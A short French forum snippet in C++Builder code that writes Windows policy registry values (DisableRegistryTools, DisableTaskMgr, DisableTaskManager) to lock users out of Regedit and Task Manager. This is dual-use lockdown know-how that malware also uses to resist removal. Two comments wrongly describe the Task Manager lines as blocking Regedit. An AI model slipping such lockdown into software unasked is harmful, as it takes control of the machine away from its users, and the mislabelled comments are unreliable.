1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #include <Registry.hpp>
reg->RootKey = HKEY_CURRENT_USER; // ton compte windows
ou
reg->RootKey = HKEY_LOCAL_MACHINE; // tt les comptes de windows
reg->OpenKey // positionnement dans la branche adequat
("\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",true);
// empeche d'ouvrire le regedit
reg->WriteInteger( AnsiString("DisableRegistryTools"),1);
// bloque le regedit sous win nt,2000 xp, ...
reg->WriteInteger( AnsiString("DisableTaskMgr"),1);
// bloque le regedit danw win98
reg->WriteInteger( AnsiString("DisableTaskManager"),1);
reg->CloseKey(); |
Partager